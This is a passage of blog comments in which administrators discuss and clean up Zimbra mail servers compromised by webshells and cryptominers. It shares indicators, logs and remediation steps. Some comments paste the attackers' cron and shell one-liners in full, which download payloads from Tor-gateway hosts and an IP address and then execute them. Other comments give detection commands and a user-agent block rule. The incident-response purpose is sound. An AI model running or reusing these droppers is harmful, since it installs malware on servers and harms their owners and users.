    ├── [Oct 25 2016] com_zimbra_clientuploader_fr.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_fr_CA.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_hi.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_hu.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_in.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_it.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_iw.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_ja.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_ko.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_lo.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_ms.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_nl.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_pl.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_pt.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_pt_BR.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_ro.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_ru.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_sl.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_sv.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_th.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_tr.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_uk.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_zh_CN.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_zh_HK.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_zh_TW.properties
    └── [May 9 01:30] jetty
    └── [May 9 01:30] webapps
    └── [May 9 01:30] zimbra
    └── [May 9 01:30] public
    ├── [Mar 27 12:23] 404.jsp
    └── [May 9 01:27] jsp
    └── [Jan 31 2017] ShareCore.jsp

    5 directories, 39 files

  22. QUICK FIX IF DISCOVERED
    cd /usr/bin/; mv wget wget.disabled . # Stops it re-downloading (name it something diff so attachlers dont go looking for it after this article

    using as shown to look for altered files
    find /opt/zimbra/jetty/ -name “*.jsp” -mtime -15 -ls

    Restore recent archive of /opt/zimbra working directory to simila /opt/zimbra.restored (tar/veeam etc) from before files were altered.

    ## quick example ##
    mkdir /opt/zimbra.restore
    tar -zxvf my-archive-name.tar.gz opt/zimbra
    cd /opt
    rsync -aP –sparse –delete zimbra/db/data/ zimbra.restored/zimbra/db/data
    rsync -aP –delete zimbra/log/ zimbra.restored/zimbra/log
    rsync -aP –delete zimbra/zmstat/ zimbra.restored/zimbra/zmstat
    rsync -aP –delete zimbra/store/ zimbra.restored/zimbra/store (we store this elsewhere for this very possible reason, can be symlink)
    mv zimbra zimbra.damaged_date_here
    mv zimbra.restore/zimbra zimbra

    Apply updates soon as possible.

  23. alguien seria tan amable de compartirme el link del parche para la version Release 8.7.11.GA.1854.UBUNTU16.64 UBUNTU16_64 FOSS edition.

    where can I find the patch for Release 8.7.11.GA.1854.UBUNTU16.64 UBUNTU16_64 FOSS edition.

  24. I dont see any cron alterations in my zimbra ( i am a victim too dblaunchs version ) where are the cron files?

    Greetings

  25. I’m confused… It’s there a massive attack to zimbra servers for all versions (even new versions) and Synacor it’s not fixing it from one month ago?

    • Zimbra released patches one month BEFORE the infection, as the first paragraph says. Admins didn’t patch their installations

  26. hello
    the hacker try to download this script named “bt1.txt” on my server.. if any one tell me what is the work of this script:
    [REDACTED]

    • Please use a pastebin or such to post a full script, first because the page gets long and second I don’t want my site to be considered a malware distributor

  27. hello,,
    all these IP used by hacker:
    185.234.218.9
    193.112.246.211
    185.106.120.118
    185.99.133.75
    185.10.120.123
    185.172.65.80

    184.69.211.6

    149.129.133.222

    112.118.155.15
    112.78.137.50

    181.148.183.75
    181.112.138.130
    213.221.224.122
    85.234.126.92
    89.221.52.122
    87.236.233.105
    103.10.62.174
    104.168.158.113
    104.168.158.114
    104.168.170.48
    104.168.211.236
    66.79.176.200
    93.113.108.146
    95.179.215.180
    198.12.156.218
    190.152.71.46
    213.221.224.122
    216.155.152.169
    91.232.125.211
    203.129.203.6
    158.69.195.70
    47.74.43.251

  28. I have: # / 60 * * * * sh /opt/zimbra/log/zmswatch.sh;
    But only a day later it returned to a state of no # before. / 60 * * * * sh /opt/zimbra/log/zmswatch.sh;
    Please help me how to block it.

      • Follow all the guidelines of this post, do some more inevitable investigation on your own as every infection can be different, and you should get rid of it.

        Otherwise make as suggested: make a new system and copy over the data.

  29. Hi guys,

    got two more attempts, luckily both were 404 (since there are no .jsp scripts in my folders – deleted upon detection)

    43.249.139.243 – – [13/May/2019:02:07:59 +0000] “POST /public/Ajax.jsp HTTP/1.0” 404 – “-” “Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04” 442
    104.238.133.105 – – [13/May/2019:04:33:33 +0000] “POST /js/zimbra/csfe/XZimbra.jsp HTTP/1.0” 404 – “-” “Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04” 77

    so these are another two IPS on my black list (suggest you to put them too and keep list up to date)

    also, check out collected blocking traffic, these IPs below are quite active, although I’we sent some emails on abuse but didn’t get any reply, they are now blocked only on firewall

    pkts bytes target prot opt in out source destination
    5310 269K DROP all — * * 213.221.224.122 0.0.0.0/0
    36 1824 DROP all — * * 91.232.125.211 0.0.0.0/0
    21591 1094K DROP all — * * 85.234.126.92 0.0.0.0/0

    for e.g. other blocked IPs that I collected didnt make any traffic anymore

    0 0 DROP all — * * otherIPs 0.0.0.0/0

    p.s.
    Thanks ^^ moataz, will append diff on my iptables

  30. We found a new attack vector. We found “”./scr” folder into “tmp”. This folder contains a new binary named “src” that exceutes bind shell…

  31. I had this running as zimbra user using 100% three cores (it had three processes running):
    /tmp/.scr/sn2/./-bash
    and zimbra’s crontab had this:
    * * * * * /tmp/.scr/sn2/./-bash

    Inside /tmp/.scr it had another two or three files that I removed.

  32. @Meteus

    did you cath IP address (did you find new .jsps) that planted that sh, also could you paste content of that script somewhere so we could check what it does now?

  33. This is a disaster, a new attacker put the criptominer in /opt/zimbra/lib
    zmmailboxdwatch and zmstorewatch

    I patch the thing but is pwned again.

    Well going to reinstall and migrate.

  34. Now new attacker change crontab, delete some lines
    [redacted]
    /opt/zimbra/lib/zmstorewatch will call script
    /opt/zimbra/conf/zmsstore.conf to run/opt/zimbra/lib/zmmailboxwatch , just delete and add these cron lines , delete 3 files, seems to safe now

  35. Hi friends,

    quick method,
    rm /opt/zimbra/conf/zmsstore.conf

    reinstall the zimbra same 8.6.0 as an upgrade, DO NOT install as clean,, (only upgrade- data will be safe)

    apply the patch zcs-patch-8.6.0_GA_1242

    please correct me if i have missed anything, !!!!

    thanks

    • if the system is compromised the attacker might have left other intrusion vectors, like JSPs. it’s not a bulletproof method

      • So how do we do “I hear the “best” thing to do if you got hacked is spin up a clean, patched system, and move the mailboxes over to it” in a Nutshell?

        could you please layout the steps?
        We got this problem just 24hrs ago and its a production server

  36. I have file .kthrotlds.

    #top

    21483 zimbra 20 0 430m 17m 764 S 394.0 0.1 3902:19 .kthrotlds
    20844 zimbra 20 0 8722m 1.9g 20m S 73.3 16.7 62:28.55 java
    29304 zimbra 20 0 101m 1308 700 R 5.6 0.0 0:00.17 grep

    After:
    [root@mail zimbra]# crontab -l -u zimbra

    */9 * * * * tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /tmp/.cache/.ntp||${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /tmp/.cache/.ntp||${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /tmp/.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /tmp/.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /tmp/.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /tmp/.cache/.ntp) && chmod +x /tmp/.cache/.ntp && /bin/sh /tmp/.cache/.ntp

    I suppose I have to delete everything from crontab ?

    where can I find a backup of the crontab zimbra?

    Where can i find backup on crontab, zimbra user ?

  37. You also may find some added admin accounts using the command : zmprov gaaa
    sample of accounts created : no-replays, no-rreplay, ut2w, zmbr, …

  38. I’ve the same problem. This is a command found on bash_history of zimbra user:

    tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; rand=$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 4-16 -n 1); echo “”); if [ -z ${rand} ]; then rand=”.tmp”; fi; echo “${rand}” > “$(pwd)/.${rand}” 2>/dev/null && LPATH=”$(pwd)/.${rand}”; rm -f “$(pwd)/.${rand}” >/dev/null 2>&1; echo “${rand}” > “/tmp/.${rand}” 2>/dev/null && LPATH=”/tmp/.${rand}”; rm -f “/tmp/.${rand}” >/dev/null 2>&1; (${curl} -fsSLk –retry 3 –connect-timeout 23 –max-time 75 http://185.162.235.211/ldm1 -o “${LPATH}”||${wget} –quiet –no-check-certificate –tries=3 –connect-timeout=23 –timeout=75 http://185.162.235.211/ldm1 -O “${LPATH}”) && chmod +x “${LPATH}” && sh “${LPATH}”

    And this file:

    http://185.162.235.211/ldm1

    I forgot to update one of my servers.
    Well, I applied the security patch but even so it keeps changing the user cron zimbra.
    I have changed the crontab permission and I believe this will not be able to do anymore.
    I got another Zimbra 8.6 (already with the patch) that I have and moved some files to that infected server.
    I am monitoring this server but I intend to migrate next weekend.

    I’m finalizing some things but I’m putting everything on top of Docker.
    Then if anyone is interested in contributing, I’m using docker-compose and is 99% complete, just a few small adjustments are missing.

    Thanks for the posts, it helped me a lot.

  39. How do I extract the original files from the installation source to replace the infected files with them?

    Zimbra 8.6.0_GA Network Editions

  40. Thanks to Drake for support 🙂

    Zimbra 8.6.0 GA Network Editions , CentOS 6.6

    Patch Zimbra :

    wget https://files.zimbra.com/downloads/8.6. … A_1242.tgz
    tar xzf zcs-patch-8.6.0_GA_1242.tgz
    cd /tar xzf zcs-patch-8.6.0_GA_1242

    Delete global admin accounts

    Change password

    change the files or delete them

    files:

    /opt/zimbra/log/.editorinfo –> /opt/zimbra/log/.editorinfo–

    /opt/zimbra/log/zmswatch

    /opt/zimbra/log/zmswatch.sh

    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/Ajax.jsp

    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/CryptCore.jsp

    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/portals/example/static.jsp

    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/portals/example/static.jsp

    /tmp/.cache/.ntp

    /tmp/.cache/.kthrotlds

    Or :

    touch /opt/zimbra/log/zmswatch
    chattr +i /opt/zimbra/log/zmswatch

    Do the same with other files …

    Replace with the original installation files:

    wget https://files.zimbra.com/downloads/8.6. … 151258.tgz
    tar xzf zcs-NETWORK-8.6.0_GA_1153.RHEL6_64.20141215151258.tgz
    cd zcs-NETWORK-8.6.0_GA_1153.RHEL6_64.20141215151258/packages/
    rpm2cpio zimbra-store-8.6.0_GA_1153.RHEL6_64-20141215151258.x86_64.rpm | cpio -idmv

    find /opt/zimbra -name \*.jsp -exec grep –with-filename exec {} \;

    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/403.jsp
    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/sfdc_preauth.jsp
    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/attachment_blocked.jsp
    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/login.jsp
    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbraAdmin/public/jsp/Debug.jsp
    /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/Alert.jsp

    top

    Kill PID 400%

    fix error upload files :

    chmod 755 /opt/zimbra/data/tmp/
    chmod 755 /opt/zimbra/data/tmp/upload

    regenerate crontab

    crontab -l -u zimbra
    crontab -e -u zimbra

    replace with:
    ===================

    # ZIMBRASTART — DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRAEND
    SHELL=/bin/bash
    #
    # Log pruning
    #
    30 2 * * * find /opt/zimbra/log/ -type f -name \*.log\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
    35 2 * * * find /opt/zimbra/log/ -type f -name \*.out.???????????? -mtime +8 -exec rm {} \; > /dev/null 2>&1
    #
    # compress logs manually to avoid application pauses when
    # handled through the log4j thread
    #
    50 2 * * * /opt/zimbra/libexec/zmcompresslogs > /dev/null 2>&1
    #
    # tmp dir cleaning
    #
    40 2 * * * /opt/zimbra/libexec/zmcleantmp
    #
    # Status logging
    #
    */2 * * * * /opt/zimbra/libexec/zmstatuslog > /dev/null 2>&1
    #*/10 * * * * /opt/zimbra/libexec/zmdisklog > /dev/null 2>&1
    #
    # SSL Certificate Expiration Checks
    #
    0 0 1 * * /opt/zimbra/libexec/zmcheckexpiredcerts -days 30 -email
    #
    # Backups
    #
    # BACKUP BEGIN
    # BACKUP END
    #
    # crontab.store
    #
    # Log pruning
    #
    30 2 * * * find /opt/zimbra/mailboxd/logs/ -type f -name \*log\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
    30 2 * * * find /opt/zimbra/log/ -type f -name stacktrace.\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
    #
    # Report on any database inconsistencies
    #
    0 23 * * 7 /opt/zimbra/libexec/zmdbintegrityreport -m
    #
    # Monitor for multiple mysqld to prevent corruption
    #
    #*/5 * * * * /opt/zimbra/libexec/zmcheckduplicatemysqld -e > /dev/null 2>&1
    #
    # Check zimbraVersionCheckURL for new update.
    # Only runs if this server matches zimbraVersionCheckServer
    # Only executes on zimbraVersionCheckInterval. min 2h interval
    #
    18 */2 * * * /opt/zimbra/libexec/zmcheckversion -c >> /dev/null 2>&1
    #
    # Invoke “ComputeAggregateQuotaUsageRequest” periodically
    #
    15 2 * * * /opt/zimbra/libexec/zmcomputequotausage > /dev/null 2>&1
    #
    # Invoke “client_usage_report.py” periodically to process /opt/zimbra/log/access_log* files
    #
    55 1 * * * /opt/zimbra/libexec/client_usage_report.py > /dev/null 2>&1
    #
    # Run zmgsaupdate util to trickeSync galsync accounts
    #
    49 0 * * 7 /opt/zimbra/libexec/zmgsaupdate > /dev/null 2>&1
    #
    # crontab.logger
    #
    # process logs
    #
    00,10,20,30,40,50 * * * * /opt/zimbra/libexec/zmlogprocess > /tmp/logprocess.out 2>&1
    #
    # Graph generation
    #
    #10 * * * * /opt/zimbra/libexec/zmgengraphs >> /tmp/gengraphs.out 2>&1
    #
    # Daily reports
    #
    30 23 * * * /opt/zimbra/libexec/zmdailyreport -m
    #
    # crontab.mta
    #
    #
    # Queue logging
    #
    0,10,20,30,40,50 * * * * /opt/zimbra/libexec/zmqueuelog
    #
    # Spam training
    #
    0 22 * * * /opt/zimbra/bin/zmtrainsa >> /opt/zimbra/log/spamtrain.log 2>&1
    #
    # Spam training cleanup
    #
    45 23 * * * /opt/zimbra/bin/zmtrainsa –cleanup >> /opt/zimbra/log/spamtrain.log 2>&1
    #
    # Spam rule updates
    #
    45 0 * * * . /opt/zimbra/.bashrc; /opt/zimbra/libexec/zmsaupdate
    #
    # Dspam cleanup
    #
    0 1 * * * [ -d /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.sig ] && find /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.sig/ -type f -name \*sig -mtime +7 -exec rm {} \; > /dev/null 2>&1
    8 4 * * * [ -f /opt/zimbra/data/dspam/system.log ] && /opt/zimbra/dspam/bin/dspam_logrotate -a 60 -l /opt/zimbra/data/dspam/system.log
    8 8 * * * [ -f /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.log ] && /opt/zimbra/dspam/bin/dspam_logrotate -a 60 -l /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.log
    #
    # Spam Bayes auto-expiry
    #
    20 23 * * * /opt/zimbra/libexec/sa-learn –dbpath /opt/zimbra/data/amavisd/.spamassassin –force-expire –sync > /dev/null 2>&1
    #
    # Clean up amavisd/tmp
    #
    15 5,20 * * * find /opt/zimbra/data/amavisd/tmp -maxdepth 1 -type d -name ‘amavis-*’ -mtime +1 -exec rm -rf {} \; > /dev/null 2>&1
    #
    # Clean up the quarantine dir
    #
    0 1 * * * find /opt/zimbra/data/amavisd/quarantine -type f -mtime +7 -exec rm -f {} \; > /dev/null 2>&1

    #ZIMBRAEND — DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRASTART

    ===================

    or use file /tmp/crontab.zimbra

    #help
    zmschedulebackup -h

    #To Verify Backup Schedules:
    zmschedulebackup -q

    #To Configure Default Backup Schedules:
    zmschedulebackup -D

    #To Configure Customized Backup Schedules:
    zmschedulebackup -R f “0 1 * * 6” –mail-report i “0 1 * * 0-5” –mail-report d 14d “0 0 * * *” –mail-report

    crontab -l |grep -i backup

    Lock up crontab

    chattr +i /var/spool/cron/zimbra

    reboot

  41. and this…

    # Zimbra AJAX Webmail not loading

    cd /opt/zimbra/mailboxd
    find webapps -type d -exec chmod 0755 {} \;
    find webapps -type f -exec chmod 0644 {} \;

  42. My system version is Release 8.7.0_GA_1659.RHEL7_64_20160628202714 RHEL7_64 FOSS edition. I need update to kind of patch to fix this? Thanks

      • Thanks for u reply. My system is multi server protocol so can i update only in mailbox server to 8.7.11 and patch this?

          • Be cause my system had been customized many part such as gui for user on mailbox, spam on mta, ldap… and this is the first time i update so i am afraid of the change of system when i update. May be i will bulid a lab for this.

  43. Release 8.6.0.GA.1153.UBUNTU14.64 UBUNTU14_64 FOSS edition, Patch 8.6.0_P14.

    For Zimbra 8.6.0 :
    Download Same Version Zimbra.
    Extract and do upgrade Zimbra with same version.
    After test all feature normal
    Do PATCH 14
    If using self sign SSL then i update / generate new self sign SSL.
    Change all Admin Zimbra Account Password

    Zimbra using Centos 6.8 and Ubuntu 14.04 already a week running and hope no problem accour

  44. I did just the same as you did a few days ago. But… for me, the process zmswatch continues to appear. I kill the bastard, and it randomly appears again! But apparently with no performance prejudice or any side effect.

    • Have you checked the login.jsp?
      /opt/zimbra/jetty/webapps/zimbra/public/login.jsp

      My file contained malicious code after closing tag.

  45. If the suspicious files are still appearing again and again after applying a patch and deleting malicious JSPs, here’s how to check where it comes from:
    auditctl -w /usr/bin/curl -p x -k audit-curl

    Or, if curl is not available on the system – check wget instead.

    Then you can check if someone has used curl:
    ausearch -k audit-curl

    Usually, it happens once a day, so you can run ausearch periodically.

    In my case, first downloaded file is the shell script, I examined it to what it is trying to do – creates new files and fakes modification dates with touch -r (for example, login.jsp). I had to check all of these files for malicious code. And eventually, I found where is the original backdoor is located. (Actually, the article shows how to find it by searching for “(request.getParameter”, but due to different code formatting, this method doesn’t always work)

    • I suggest you to make a new server. If the infection is still active the attacker could still be inside the system, doing whatever they want! Auditing or blocking with chattr is just a workaround, you need to make sure the system is safe. And now it’s not.

      • Thank you, I know it would be the best way. Maybe you know good open source solution to copy all data – accounts, emails, settings – from old server to the new one, excluding probably infected JSPs?

      • Totally agree, but I’m having some hard time to have equal or better hardware to deploy a new server. And we work as a mail provider for some customers, then we have several domains to migrate…

  46. Today I’ve found a new behavior. Thousands of sed process making zimbra run out of space. Researching I’ve found too many /opt/zimbra/log/sed-AeswXB34 files.

    This also cause that services were down.

    chmod -x /usr/bin/sed ; chattr +i /usr/bin/sed

  47. For your info.

    I tried all off above, but still a random script is launched from the Jetty webservice.
    After a TCP dump :
    tcpdump -s 0 -A ‘tcp dst port 80 or tcp dst port 443 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354’ ,
    I saw the pattern that was launched from an external IP.

    GET /wp-updates/R10DA3z3dw3u/watch.zip?p=eyqhtusc HTTP/1.1^M
    User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2^M
    Host: welcome.ulimit-n.com

    For now I disable CURL and WGET for the user Zimbra and added a line in the
    nginx.conf.web.https.default.template and nginx.conf.web.http.default.template.

    if ($http_user_agent ~ (python-requests|Wget|curl) ) { return 403; }

    For now everything seems to be OK.

    Charles

    • Hello,
      Could you explain where exactly you modified/insert this line :
      if ($http_user_agent ~ (python-requests|Wget|curl) ) { return 403; }
      in your conf :
      nginx.conf.web.https.default.template

  48. Hi Mich,

    In the second line after Server, see below
    server
    { if ($http_user_agent ~ (python-requests|Wget|curl) ) { return 403; }

    I also change the attribute off the CURL and WGET linux command.

    chmod -x /usr/bin/curl ; chattr +i /usr/bin/curl
    chmod -x /usr/bin/wget ; chattr +i /usr/bin/wget

    Server is running fine for two days now.

    regards,

    Charles

    • I’m against chattr and chmod because gives you the false perception that the server is safe. An attacker can still run zmprov and perform many disruptive actions as well as exfiltrate all your data. It’s more important (and hard) to fix it the correct way

  49. Hi,

    Patch14 has been installed on my Zimbra. I’m running Zimbra – 8.6.0 server without proxy service. How do I block this user agent for http and https.

  50. ALWAYS, on an Internet connected server, do separate /tmp filesystem and mount it with noexec flag.
    Many attacks are initiated by sending/generate scripts/binaries in /tmp (beware PHP too, cookies…), so with a simple noexec filesystem you’re (totaly ?) safe !

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Solve : *
1 × 14 =


Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.